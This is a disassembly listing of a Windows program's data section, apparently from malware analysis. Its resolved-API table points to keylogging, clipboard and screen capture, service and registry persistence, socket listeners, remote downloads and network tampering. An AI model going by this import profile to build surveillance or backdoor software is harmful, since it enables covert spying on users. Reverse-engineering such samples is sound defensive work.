dd 0FCE09F81h, 0
dd 0FC807E40h, 0
dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE40h, 0
dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE41h, 0
dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
dd 0FE81h, 0
dd 0FEA17E40h, 0
dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
off_43B8C8 dd offset sub_41C8A4 ; DATA XREF: sub_418D77+Fw
; sub_419343+3AAr ...
off_43B8CC dd offset sub_41C539 ; DATA XREF: sub_418D77+5w
; sub_419343+3E2r
off_43B8D0 dd offset sub_41C59F ; DATA XREF: sub_418D77+14w
; sub_41A824+430r
off_43B8D4 dd offset sub_41C4DF ; DATA XREF: sub_418D77+1Ew
; sub_419343+3CBr
off_43B8D8 dd offset sub_41C587 ; DATA XREF: sub_418D77+28w
off_43B8DC dd offset sub_41C8A4 ; DATA XREF: sub_418D77+32w
dword_43B8E0 dd 1 dword_43B8E4 dd 16h dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2
dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h
dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h
dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43BA48 dd 0C0000005h ; sub_41CB8C+Ar ...
dd 0Bh, 0
dd 0C000001Dh, 4, 0
dd 0C0000096h, 4, 0
db 8Dh, 0
dw 0C000h
dd 8, 0
dd 0C000008Eh, 8, 0
dd 0C000008Fh, 8, 0
db 90h
db 2 dup(0), 0C0h
dd 8, 0
dd 0C0000091h, 8, 0
dd 0C0000092h, 8, 0
dd 0C0000093h, 8, 0
dword_43BAC0 dd 3 dword_43BAC4 dd 7 dword_43BAC8 dd 0Ah dword_43BACC dd 8Ch ; ___:0041CADAw ...
dword_43BAD0 dd 0FFFFFFFFh, 0A00h ; sub_41B582:loc_41B603o
dword_43BAD8 dd 19930520h, 3 dup(0) ; sub_41D2E2+2o
dword_43BAE8 dd 2 ; sub_41D415+28r
off_43BAEC dd offset aR6002FloatingP ; DATA XREF: sub_41D415+FCr
; sub_41D415+12Dr
; "R6002\r\n- floating point not loaded\r\n"
dd 8, 421944h, 9, 421918h, 0Ah, 4218F4h, 10h, 4218C8h
dd 11h, 421898h, 12h, 421874h, 13h, 421848h, 18h, 421810h
dd 19h, 4217E8h, 1Ah, 4217B0h, 1Bh, 421778h, 1Ch, 421750h
dd 78h, 421740h, 79h, 421730h, 7Ah, 421720h, 0FCh, 4282FCh
dd 0FFh, 421710h
off_43BB78 dd offset dword_515B60 ; DATA XREF: sub_41D415+1Bo
; sub_41D5D2+55o
align 10h
dd offset dword_515B60
dd 101h
dword_43BB88 dd 0FFFFFFFFh, 0 dd 1000h, 0
dword_43BB98 dd 3 dup(0) ; sub_41C981+12o
dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43BBB8 dd 3 dup(0) ; sub_41C981:loc_41C99Fo
dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43BBE8 dd 84h dup(0) dword_43BDF8 dd 2 dup(0) dword_43BE00 dd 7080h ; sub_41DD12+5Ew ...
dword_43BE04 dd 1 ; sub_41DD12+8Bw ...
dword_43BE08 dd 0FFFFF1F0h ; sub_41DD12+94w ...
off_43BE0C dd offset dword_545350 ; DATA XREF: ___:off_43BE8Co
dd 0Fh dup(0)
off_43BE4C dd offset dword_544450 ; DATA XREF: ___:off_43BE90o
dd 0Fh dup(0)
off_43BE8C dd offset off_43BE0C ; DATA XREF: sub_41DD12+BAr
; sub_41DD12+D9r ...
off_43BE90 dd offset off_43BE4C ; DATA XREF: sub_41DD12+F4r
; sub_41DD12+11Br ...
align 8
dword_43BE98 dd 0FFFFFFFFh ; sub_41DF70+1Er ...
dword_43BE9C dd 0 ; sub_41E11C+BFw
dword_43BEA0 dd 0 ; sub_41E11C+E0w
align 8
dword_43BEA8 dd 0FFFFFFFFh ; sub_41DF70+26r ...
dword_43BEAC dd 0 ; sub_41E11C+EAw ...
dword_43BEB0 dd 0 ; sub_41E11C+23r ...
dword_43BEB4 dd 0FFFFFFFFh dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h
dd 14Eh
dword_43BEE4 dd 16Dh ; sub_41E11C+2Er ...
dword_43BEE8 dd 0FFFFFFFFh dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh
dd 14Dh, 16Ch, 0
dword_43BF20 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFhdword_43BF38 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fhdword_43BF50 dd 2 dup(0) dd 4002A000h, 2 dup(0)
dd 4005C800h, 2 dup(0)
dd 4008FA00h, 2 dup(0)
dd 400C9C40h, 2 dup(0)
; ---------------------------------------------------------------------------
push eax
retn
; ---------------------------------------------------------------------------
dw 400Fh
dd 2 dup(0)
dd 4012F424h, 0
dd 80000000h, 40169896h, 0
dd 20000000h, 4019BEBCh, 0
dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h
dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh
dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh
dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
dd 52028A20h, 7525C460h, 0
dword_43C0B0 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
; DATA XREF: sub_41FDC6+1Bo
dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h
dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h
dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah
dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh
dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh
dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h
dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h
dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h
dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h
dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h
dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h
dd 4C8D2CEh, 0AD8A6DDh, 0
byte_43C210 db 0 ; DATA XREF: sub_401447+1D3w
; sub_401447+2D2o
align 2
word_43C212 dw 0 ; DATA XREF: sub_401447+1E3w
word_43C214 dw 0 ; DATA XREF: sub_401447+1E9w
word_43C216 dw 0 ; DATA XREF: sub_401447+1F0w
byte_43C218 db 0 ; DATA XREF: sub_401447+1F7w
byte_43C219 db 0 ; DATA XREF: sub_401447+1FEw
word_43C21A dw 0 ; DATA XREF: sub_401447+204w
dword_43C21C dd 0 ; sub_401447+250w
dword_43C220 dd 0 byte_43C224 db 0 ; DATA XREF: sub_401447+26Aw
byte_43C225 db 0 ; DATA XREF: sub_401447+27Dw
word_43C226 dw 0 ; DATA XREF: sub_401447+295w
word_43C228 dw 0 ; DATA XREF: sub_401447+2A4w
word_43C22A dw 0 ; DATA XREF: sub_401447+29Cw
dword_43C22C dd 101h dup(0) dword_43C630 dd 0 ; sub_402B83+9o
align 8
dword_43C638 dd 0 byte_43C63C db 0 ; DATA XREF: sub_403A47+36r
; sub_403B2A+37r ...
align 10h
dword_43C640 dd 0 ; sub_404197+30r ...
align 8
dword_43C648 dd 0 ; sub_405953+51r ...
dword_43C64C dd 0 ; sub_404969+14Cr ...
dd 2 dup(0)
dword_43C658 dd 0 ; sub_407599+92w ...
dword_43C65C dd 0 ; sub_4078E6+D9w ...
dd 0BB6h dup(0)
dword_43F538 dd 6 dup(0) ; sub_4076D2+138o ...
dword_43F550 dd 0 ; sub_4071BD+102o
dword_43F554 dd 41h dup(0) dword_43F658 dd 41h dup(0) dword_43F75C dd 0 ; sub_4071BD+114r
dword_43F760 dd 0 dword_43F764 dd 0 ; sub_4071BD+CFr
dword_43F768 dd 20h dup(0) ; sub_4071BD+BAo
dword_43F7E8 dd 0 dword_43F7EC dd 0 ; sub_4071BD+C7w
dword_43F7F0 dd 0 align 8
dword_43F7F8 dd 0 ; sub_4071BD+32Eo
dword_43F7FC dd 0A2h dup(0) dword_43FA84 dd 41h dup(0) dword_43FB88 dd 0 ; sub_4071BD+2E1r
align 10h
dword_43FB90 dd 0 ; sub_4071BD+340r
dword_43FB94 dd 0 dword_43FB98 dd 0 dword_43FB9C dd 0 dd 0
dword_43FBA4 dd 0 dword_43FBA8 dd 0 ; sub_4071BD+221o
dword_43FBAC dd 41h dup(0) dword_43FCB0 dd 41h dup(0) dword_43FDB4 dd 0 ; sub_4071BD+233r
dword_43FDB8 dd 0 dword_43FDBC dd 0 dword_43FDC0 dd 20h dup(0) ; sub_4071BD+1D9o
dword_43FE40 dd 0 dword_43FE44 dd 0 ; sub_4071BD+1E6w
dword_43FE48 dd 0 align 10h
dword_43FE50 dd 0 ; sub_40894E+12r
align 8
dword_43FE58 dd 80h dup(0) dword_440058 dd 200h dup(0) ; sub_409307+DDo ...
dword_440858 dd 200h dup(0) ; sub_409307+F4o ...
dword_441058 dd 0 ; resolved to->NTDLL.RtlCreateQueryDebugBuffer ; sub_40917E+94r
dword_44105C dd 0 ; resolved to->NTDLL.RtlRunDecodeUnicodeString ; sub_4095E4+55r ...
dword_441060 dd 0 ; resolved to->NTDLL.RtlDestroyQueryDebugBuffer ; sub_40917E+D6r ...
dword_441064 dd 0 ; resolved to->NTDLL.ZwQuerySystemInformation ; sub_40917E+35r ...
dword_441068 dd 80h dup(0) dword_441268 dd 0 ; resolved to->NTDLL.RtlQueryProcessDebugInformation ; sub_40917E+A2r
align 10h
dword_441270 dd 0 ; sub_408FAC+103r ...
dword_441274 dd 0 ; sub_4094AE+107w
dword_441278 dd 0 ; sub_4094AE+10Dw ...
dword_44127C dd 0 ; sub_4095E4+4Fr
dword_441280 dd 0 ; resolved to->GDI32.DeleteDC ; sub_40851A+21Ar ...
dword_441284 dd 0 ; resolved to->KERNEL32.Module32First ; sub_415B93+166r
dword_441288 dd 0 ; resolved to->WININET.InternetGetConnectedStateExA ; sub_409794+862r ...
dword_44128C dd 0 ; sub_409794+A18r ...
dword_441290 dd 0 ; sub_409794+9E8r ...
dword_441294 dd 0 ; resolved to->GDI32.SelectObject ; sub_409794+46Fw ...
dword_441298 dd 0 ; resolved to->USER32.GetKeyState ; sub_402368+2A4r ...
dword_44129C dd 0 ; sub_409794+A10r ...
dword_4412A0 dd 0 ; resolved to->ADVAPI32.OpenServiceA ; sub_409794+3A9r ...
dword_4412A4 dd 0 ; resolved to->ADVAPI32.GetUserNameA ; sub_40BDAD+11Er
dword_4412A8 dd 0 ; resolved to->ADVAPI32.StartServiceA ; sub_409794+3B1r ...
dword_4412AC dd 0 ; resolved to->ADVAPI32.IsValidSecurityDescriptor ; sub_40E284+ADr
dword_4412B0 dd 0 ; resolved to->WS2_32.__WSAFDIsSet ; sub_40841A+7Dr ...
dword_4412B4 dd 0 ; resolved to->KERNEL32.GetDiskFreeSpaceExA ; sub_409794+D2r ...
dword_4412B8 dd 0 ; sub_409794+9DBr ...
dword_4412BC dd 0 ; resolved to->ADVAPI32.CloseServiceHandle ; sub_409794+3C9r ...
dword_4412C0 dd 0 ; resolved to->WININET.InternetCrackUrlA ; sub_409794+88Er ...
dword_4412C4 dd 0 ; resolved to->ADVAPI32.RegQueryValueExA ; sub_409794+2A5w ...
dword_4412C8 dd 0 ; resolved to->WININET.InternetOpenUrlA ; sub_409794+886r ...
dword_4412CC dd 0 ; resolved to->KERNEL32.QueryPerformanceFrequencydword_4412D0 dd 0 ; resolved to->WININET.InternetReadFile ; sub_409794+896r ...
dword_4412D4 dd 0 ; resolved to->WS2_32.WSAAsyncSelect ; sub_409794+52Fw ...
dword_4412D8 dd 0 ; resolved to->KERNEL32.Process32Next ; sub_409794+CAr ...
dword_4412DC dd 0 ; resolved to->IPHLPAPI.IcmpSendEcho ; sub_40B45B+11Ar
dword_4412E0 dd 0 ; resolved to->DNSAPI.DnsFlushResolverCache ; sub_409794+A6Dr ...
dword_4412E4 dd 0 ; resolved to->KERNEL32.QueryPerformanceCounter ; sub_409794+F2r
dword_4412E8 dd 0 ; resolved to->GDI32.GetDIBColorTable ; sub_409794+462w ...
dword_4412EC dd 0 ; resolved to->WS2_32.ntohl ; sub_409794+5D8w
dword_4412F0 dd 0 ; sub_409794+A08r
dword_4412F4 dd 0 ; resolved to->WS2_32.ntohs ; sub_409794+5CBw ...
dword_4412F8 dd 0 ; sub_409794+B21w
dword_4412FC dd 0 ; resolved to->WININET.InternetGetConnectedState ; sub_409794+84Fr ...
dword_441300 dd 0 ; resolved to->USER32.ExitWindowsEx ; sub_40AB95+15r
dword_441304 dd 0 ; sub_409794+9F0r ...
dword_441308 dd 0 ; resolved to->ADVAPI32.ControlService ; sub_409794+3B9r ...
dword_44130C dd 0 ; resolved to->ADVAPI32.DeleteService ; sub_409794+3C1r ...
dword_441310 dd 0 ; sub_40894E+2Br ...
dword_441314 dd 0 ; resolved to->WS2_32.getpeernamedword_441318 dd 0 ; resolved to->WS2_32.WSACleanup ; sub_401A6D:loc_401D13r ...
dword_44131C dd 0 ; resolved to->GDI32.DeleteObject ; sub_409794+496w
dword_441320 dd 0 ; sub_409794+A20r ...
dword_441324 dd 0 ; resolved to->ADVAPI32.RegDeleteValueA ; sub_409794+2DEr ...
dword_441328 dd 0 ; resolved to->KERNEL32.GetLogicalDriveStringsA ; sub_409794+DAr ...
dword_44132C dd 0 ; resolved to->SHELL32.ShellExecuteA ; sub_409794+B75r ...
dword_441330 dd 0 ; resolved to->WS2_32.WSAStartup ; sub_401A6D+2Fr ...
dword_441334 dd 0 ; resolved to->WININET.HttpSendRequestA ; sub_409794+872r ...
dword_441338 dd 0 ; sub_409794+9F8r
dword_44133C dd 0 ; sub_404969+70r ...
dword_441340 dd 0 ; resolved to->USER32.GetForegroundWindow ; sub_402368+63r ...
dword_441344 dd 0 ; resolved to->IPHLPAPI.IcmpCreateFile ; sub_409794+910r ...
dword_441348 dd 0 dword_44134C dd 0 ; resolved to->WS2_32.WSAGetLastError ; sub_401447+3Cr ...
dword_441350 dd 0 ; resolved to->WININET.InternetOpenA ; sub_409794+855r
dword_441354 dd 0 ; resolved to->USER32.GetWindowTextA ; sub_402368+7Cr ...
dword_441358 dd 0 ; resolved to->USER32.IsWindow ; sub_408755+69r ...
dword_44135C dd 0 ; resolved to->WS2_32.getsockname ; sub_409794+786r ...
dword_441360 dd 0 ; resolved to->WS2_32.connect ; sub_404197+5Er ...
dword_441364 dd 0 ; resolved to->WS2_32.WSAIoctl ; sub_402E92+12Cr ...
dword_441368 dd 0 ; sub_409794:loc_40A06Fw ...
dword_44136C dd 0 ; resolved to->ADVAPI32.RegCreateKeyExA ; sub_409794+2C6r ...
dword_441370 dd 0 ; resolved to->WS2_32.gethostbyaddr ; sub_409794+681w ...
dword_441374 dd 0 ; resolved to->ADVAPI32.LookupPrivilegeValueA ; sub_409794+323r ...
dword_441378 dd 0 ; resolved to->ADVAPI32.EnumServicesStatusA ; sub_409794+3D1r ...
dword_44137C dd 0 ; sub_404969+1C5r ...
dword_441380 dd 0 ; resolved to->WININET.HttpOpenRequestA ; sub_409794+86Ar ...
dword_441384 dd 0 ; resolved to->USER32.GetAsyncKeyState ; sub_402368+297r ...
dword_441388 dd 0 ; resolved to->USER32.OpenClipboard ; sub_409794+1D2r ...
dword_44138C dd 0 ; resolved to->WININET.InternetConnectA ; sub_409794+87Ar ...
dword_441390 dd 0 ; resolved to->WSOCK32.recvfrom ; sub_409794+606w ...
dword_441394 dd 0 ; resolved to->ADVAPI32.RegCloseKey ; sub_409794+2BFw ...
dword_441398 dd 0 ; resolved to->WSOCK32.setsockopt ; sub_401447+AAr ...
dword_44139C dd 0 ; resolved to->ADVAPI32.OpenProcessToken ; sub_409794+316r ...
dword_4413A0 dd 0 ; resolved to->WS2_32.select ; sub_406B85+1FCr ...
dword_4413A4 dd 0 ; resolved to->GDI32.CreateDCA ; sub_409794+42Ew ...
dword_4413A8 dd 0 ; resolved to->USER32.GetClipboardData ; sub_409794+1DAr ...
dword_4413AC dd 0 ; resolved to->ADVAPI32.OpenSCManagerA ; sub_409794+39Cr ...
dword_4413B0 dd 0 ; resolved to->DNSAPI.DnsFlushResolverCacheEntry_Adword_4413B4 dd 0 ; resolved to->WS2_32.ntohl ; sub_4010B2+1F9r ...
dword_4413B8 dd 0 ; resolved to->WS2_32.ntohs ; sub_4010B2+9Dr ...
dword_4413BC dd 0 ; resolved to->KERNEL32.Process32First ; sub_409794+C2r ...
dword_4413C0 dd 0 ; resolved to->GDI32.GetDeviceCaps ; sub_40851A+38r ...
dword_4413C4 dd 0 ; resolved to->USER32.FindWindowA ; sub_409794+1BAr ...
dword_4413C8 dd 0 ; sub_40EB6D+72r
dword_4413CC dd 0 ; resolved to->WS2_32.gethostname ; sub_409794+667w ...
dword_4413D0 dd 0 ; resolved to->WSOCK32.recv ; sub_402E92+1C2r ...
dword_4413D4 dd 0 ; sub_404969+291r ...
dword_4413D8 dd 0 ; resolved to->KERNEL32.CreateToolhelp32Snapshot ; sub_409794+BAr ...
dword_4413DC dd 0 ; resolved to->ADVAPI32.RegSetValueExA ; sub_409794+2CEr ...
dword_4413E0 dd 0 ; resolved to->WS2_32.listen ; sub_407B45+9Cr ...
dword_4413E4 dd 0 ; resolved to->WS2_32.bind ; sub_402E92+ADr ...
dword_4413E8 dd 0 ; sub_40F6F1+4717r
dword_4413EC dd 0 ; resolved to->WININET.InternetCloseHandle ; sub_40C1D5+205r ...
dword_4413F0 dd 0 dword_4413F4 dd 0 ; sub_409794+BB8w ...
dword_4413F8 dd 0 ; resolved to->WS2_32.inet_addr ; sub_401447+1A0r ...
dword_4413FC dd 0 ; resolved to->GDI32.CreateDIBSection ; sub_409794+43Bw ...
dword_441400 dd 0 ; resolved to->GDI32.BitBlt ; sub_409794+47Cw ...
dword_441404 dd 0 ; resolved to->GDI32.CreateCompatibleDC ; sub_409794+448w ...
dword_441408 dd 0 ; resolved to->WS2_32.send ; sub_403E35+249r ...
dword_44140C dd 0 ; resolved to->USER32.CloseClipboard ; sub_409794+1E2r ...
dword_441410 dd 0 ; sub_409794+A28r ...
dword_441414 dd 0 ; resolved to->USER32.SendMessageA ; sub_408755+7Fr ...
dword_441418 dd 0 ; resolved to->KERNEL32.GetDriveTypeA ; sub_409794+E2r ...
dword_44141C dd 0 ; resolved to->WS2_32.sendto ; sub_401447+2DAr ...
dword_441420 dd 0 ; sub_404D78+4CFr ...
dword_441424 dd 0 ; resolved to->ADVAPI32.AdjustTokenPrivileges ; sub_415B28+55r
dword_441428 dd 0 ; resolved to->ADVAPI32.RegOpenKeyExA ; sub_409794+27Ew ...
dword_44142C dd 0 ; resolved to->SHELL32.SHChangeNotifydword_441430 dd 0 ; resolved to->IPHLPAPI.DeleteIpNetEntry ; sub_40AECD+CEr
dword_441434 dd 0 ; resolved to->IPHLPAPI.GetIpNetTable ; sub_409794+AB7r ...
dword_441438 dd 0 ; resolved to->WS2_32.socket ; sub_401D79+55r ...
dword_44143C dd 0 ; resolved to->WS2_32.gethostbyname ; ___:00407D55r ...
dword_441440 dd 0 ; sub_409794+BC5w ...
dword_441444 dd 0 ; resolved to->WS2_32.inet_ntoa ; sub_406B85+250r ...
dword_441448 dd 0 ; sub_409794+A00r ...
dword_44144C dd 0 ; resolved to->WS2_32.accept ; sub_407B45+B3r ...
dword_441450 dd 0 ; resolved to->WS2_32.closesocket ; sub_401447+2F0r ...
dword_441454 dd 0 ; resolved to->WS2_32.ioctlsocket ; sub_405A6A+39Fr ...
dword_441458 dd 0 ; sub_403A47+C8r ...
dword_44145C dd 0 ; resolved to->WS2_32.WSASocketA ; sub_401A6D+4Fr ...
dword_441460 dd 0 ; sub_409794+AFAw ...
dword_441464 dd 0 ; resolved to->KERNEL32.SetErrorMode ; sub_409794+ADr ...
dword_441468 dd 0 ; resolved to->USER32.DestroyWindow ; sub_40894E+232r ...
align 10h
dword_441470 dd 0 ; resolved to->IPHLPAPI.IcmpCloseHandle ; sub_409794+91Dr ...
dword_441474 dd 0 ; resolved to->KERNEL32.SearchPathA ; sub_409794+EAr ...
dword_441478 dd 0 ; sub_409794+12Bw ...
dword_44147C dd 0 ; sub_40A421+1Cr
dword_441480 dd 0 ; sub_409794:loc_4099E9w ...
dword_441484 dd 0 ; sub_40A421+50r
dword_441488 dd 0 ; sub_409794:loc_409AC3w ...
dword_44148C dd 0 ; sub_40A421+84r
dword_441490 dd 0 ; sub_40A421:loc_40A4D1r
dword_441494 dd 0 ; sub_40A421+B8r
dword_441498 dd 0 ; sub_40A421:loc_40A505r
dword_44149C dd 0 ; sub_40A421+ECr
dword_4414A0 dd 0 ; sub_409794+8D1w ...
dword_4414A4 dd 0 ; sub_40A421+120r
dword_4414A8 dd 0 ; sub_40A421:loc_40A56Dr ...
dword_4414AC dd 0 ; sub_40A421+154r
dword_4414B0 dd 0 ; sub_40A421:loc_40A5A1r ...
dword_4414B4 dd 0 ; sub_40A421+188r
dword_4414B8 dd 0 ; sub_40A421:loc_40A5D5r
dword_4414BC dd 0 ; sub_40A421+1BCr
dword_4414C0 dd 0 ; sub_40A421:loc_40A609r
dword_4414C4 dd 0 ; sub_40A421+1F0r
dword_4414C8 dd 0 ; sub_40A421:loc_40A63Dr
dword_4414CC dd 0 ; sub_40A421+224r
dword_4414D0 dd 0 ; sub_40A421:loc_40A671r
dword_4414D4 dd 0 ; sub_40A421+258r
dword_4414D8 dd 0 ; sub_40A421:loc_40A6A5r
dword_4414DC dd 0 ; sub_40A421+28Cr
dword_4414E0 dd 0 ; sub_40A421:loc_40A6D9r
dword_4414E4 dd 0 ; sub_40A421+2C0r
dword_4414E8 dd 81h dup(0) dword_4416EC dd 5 dup(0) dword_441700 dd 0 ; sub_40F6F1+629Do ...
dword_441704 dd 0 ; sub_40B8EC+54r ...
dword_441708 dd 0 ; sub_40B8EC+37r ...
dword_44170C dd 0 ; sub_40BA41+83o
dword_441710 dd 0 ; sub_40BA41+11Bw
dword_441714 dd 0Dh dup(0) ; sub_40BA41:loc_40BB7Eo
dword_441748 dd 0 ; sub_40B8EC+ECr ...
align 10h
dword_441750 dd 0Eh dup(0) dword_441788 dd 0FF2h dup(0) ; sub_40C597o ...
dword_445750 dd 0Eh dup(0) dword_445788 dd 0 ; sub_40C597+Eo ...
dword_44578C dd 0Eh dup(0) dword_4457C4 dd 2 dup(0) dword_4457CC dd 17h dup(0) ; sub_40DDD4+131o ...
dword_445828 dd 80h dup(0) ; sub_40EB6D+A5o
dword_445A28 dd 0 ; sub_40E14E+4Dr ...
dword_445A2C dd 17h dup(0) ; sub_40EA39+12Do
dword_445A88 dd 80h dup(0) ; sub_40E08F+7Do ...
byte_445C88 db 0 ; DATA XREF: sub_40E14E+29r
; sub_40E14E+34w
align 4
dword_445C8C dd 80h dup(0) ; sub_40E3A5+88o ...
dword_445E8C dd 81h dup(0) ; sub_40DCAB+50o ...
dword_446090 dd 0 ; sub_40C3FF+44r ...
dd 5 dup(0)
dword_4460A8 dd 0 ; sub_40F6F1+BCEr
dd 2D9h dup(0)
dword_446C10 dd 0 ; sub_40C3FF+2Do ...
dd 7Fh dup(0)
dword_446E10 dd 0 ; sub_416F93+40w ...
dword_446E14 dd 0 ; sub_4076D2:loc_407719r ...
dword_446E18 dd 0 ; sub_416E58+52w ...
dword_446E1C dd 0 ; sub_405A6A+7Ew ...
dword_446E20 dd 0 ; ___:00407F07r ...
dword_446E24 dd 0 ; sub_4071BD+122w ...
byte_446E28 db 0 ; DATA XREF: sub_40F326+E2o
; sub_40F6F1+346Er ...
align 4
dd 2488h dup(0)
db 0
byte_45004D db 3 dup(0) ; DATA XREF: ___:0042AC28o
dd 10003h dup(0)
dword_49005C dd 937Eh dup(0) db 0
byte_4B4E55 db 3 dup(0) ; DATA XREF: ___:off_43AE18o
dd 7CBEh dup(0)
db 2 dup(0)
word_4D4152 dw 0 ; DATA XREF: ___:off_42DD54o
dd 2FBDh dup(0)
db 0
byte_4E0049 db 3 dup(0) ; DATA XREF: ___:0042AC14o
dd 1040h dup(0)
dword_4E414C dd 2FBEh dup(0) dword_4F0044 dd 5500h dup(0) db 2 dup(0)
word_505446 dw 0 ; DATA XREF: ___:off_424C70o
dd 401Eh dup(0)
dword_5154C0 dd 0 ; ___:0040EC75w ...
align 8
dword_5154C8 dd 0 dword_5154CC dd 20h dup(0) ; ___:0040F289o ...
dword_51554C dd 10h dup(0) ; sub_40F6F1+920o
dword_51558C dd 24h dup(0) dword_51561C dd 0 ; ___:0040F2A0w ...
dword_515620 dd 0 align 10h
dword_515630 dd 0 dword_515634 dd 0 byte_515638 db 0 ; DATA XREF: sub_40F576+28r
; sub_40F576+30o
align 4
byte_51563C db 0 ; DATA XREF: ___:loc_40F2C2r
; ___:0040F2D0o
align 10h
dword_515640 dd 0 dword_515644 dd 0 dword_515648 dd 0 dword_51564C dd 0 ; ___:0040F254r ...
dword_515650 dd 0 ; sub_40F6F1+8C4r
dword_515654 dd 1Bh dup(0) dword_5156C0 dd 0 ; sub_4170BF+19o
dword_5156C4 dd 65h dup(0) byte_515858 db 0 ; DATA XREF: sub_416D51+6Ar
; sub_416D51+98w
align 10h
dword_515860 dd 0 ; sub_418000+A4w
align 8
word_515868 dw 0 ; DATA XREF: sub_418000+55r
; sub_418000+9Ao
word_51586A dw 0 ; DATA XREF: sub_418000+48r
db 2 dup(0)
word_51586E dw 0 ; DATA XREF: sub_418000+3Br
word_515870 dw 0 ; DATA XREF: sub_418000+2Er
word_515872 dw 0 ; DATA XREF: sub_418000+21r
align 8
dword_515878 dd 0 ; sub_41824D+91w
align 10h
dword_515880 dd 0 dword_515884 dd 0 ; sub_417DAD+1B9w ...
dword_515888 dd 0 ; sub_41B397:loc_41B431w ...
dword_51588C dd 0 dd 4 dup(0)
dword_5158A0 dd 0 ; ___:0041CD71w
dword_5158A4 dd 0 ; ___:0040EF62r ...
dd 0
dword_5158AC dd 0 ; sub_41EFBB+9r ...
dword_5158B0 dd 0 dword_5158B4 dd 0 ; sub_41FAC2+4r ...
dd 0
dword_5158BC dd 0 dd 0
byte_5158C4 db 0 ; DATA XREF: sub_418FB9+2Dw
; sub_41D677+5r
align 4
dword_5158C8 dd 0 dword_5158CC dd 0 ; sub_418FB9+8Bw
dword_5158D0 dd 0 ; ___:loc_41CC7Br ...
align 8
dword_5158D8 dd 0 dword_5158DC dd 0 ; sub_418C3F:loc_418D3Br ...
dword_5158E0 dd 0 dword_5158E4 dd 2 dup(0) dword_5158EC dd 0 ; sub_417CAE:loc_417D7Br ...
dd 3 dup(0)
dword_5158FC dd 0 ; sub_417CAE+BFr ...
dd 0
dword_515904 dd 0 ; sub_41BC2B+4Cw ...
dword_515908 dd 0 ; sub_41C195+4w ...
dword_51590C dd 0 ; sub_41C6E1+1Ar ...
byte_515910 db 0 ; DATA XREF: sub_41C5DD+3r
; sub_41C5DD+98r ...
align 4
dword_515914 dd 0 ; sub_41C7BF+21w ...
byte_515918 db 0 ; DATA XREF: sub_41C7BF+51w
align 4
dword_51591C dd 0 dd 0
